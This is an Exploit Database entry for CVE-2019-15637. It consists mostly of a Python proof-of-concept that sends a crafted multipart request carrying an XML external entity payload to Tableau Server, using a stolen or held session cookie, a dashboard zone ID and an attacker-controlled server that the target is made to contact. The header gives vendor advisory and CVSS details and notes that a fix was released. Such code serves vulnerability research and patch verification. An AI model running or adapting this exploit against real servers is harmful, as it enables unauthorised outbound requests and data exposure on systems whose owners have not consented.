Tableau – XML External Entity

• Exploit Database
• 14 阅读

• 作者： Jarad Kopf
  日期： 2019-08-27
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/47308/

• # Exploit Title: Tableau XXE 
  # Google Dork: N/A
  # Date: Reported to vendor July 2019, fix released August 2019.
  # Exploit Author: Jarad Kopf
  # Vendor Homepage: https://www.tableau.com/
  # Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download
  # Version/Products: See Tableau Advisory: https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
  # Tested on: Windows
  # CVE: CVE-2019-15637
  
  #This comes from https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
  #Severity: High ====== CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability
  #see also https://github.com/minecrater/exploits/blob/master/TableauXXE.py
  
  #Unfortunately as I did not have access to the source code a lot of this couldn't really be coded. 
  #Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit. 
  #Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise.
  
  import requests
  import sys 
  from warnings import filterwarnings
  
  # Globals
  proxy = 'http://127.0.0.1:8080'
  proxies = {'http':proxy, 'https':proxy}
  filterwarnings('ignore')
  
  def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard):
  	payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """
  	payload += "\""+attackerserver+"\"><svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>"
  	headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie}
  	data = "--"+boundary+"\r\n"
  	data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n"
  	data += "\r\n"
  	#below will be different for each user - this is the zoneid of the dashboard you're exploiting this against
  	data += zoneid+ "\r\n"
  	data += "--"+boundary+"\r\n"
  	data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n"
  	data += "\r\n"
  	#below will be different for each user - the name of the dashboard we have access to which we're exploiting this against
  	data += dashboard + "\r\n"
  	data += "--"+boundary+"\r\n"
  	data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n"
  	data += "\r\n"
  	data += "false"
  	data += "\r\n"
  	data += "--"+boundary+"\r\n"
  	data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n"
  	data += "\r\n"
  	data += payload
  	data += "\r\n"
  	data += "--"+boundary+"--"
  	
  	r = requests.post(target, headers=headers, data=data, proxies=proxies, verify=False)
  	
  def main():
  	if len(sys.argv) != 7:
  		print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>"% sys.argv[0]
  		sys.exit(-1) 
   	target = sys.argv[1]	 
  	attackerserver = sys.argv[2]
  	boundary = sys.argv[3]
  	cookie = sys.argv[4]
  	zoneid = sys.argv[5]
  	dashboard = sys.argv[6]
  	xxe(target,attackerserver,boundary,cookie,zoneid,dashboard)
  	print "making request, make sure to catch the HTTP request!"
  	 
  if __name__ == "__main__":
  	main()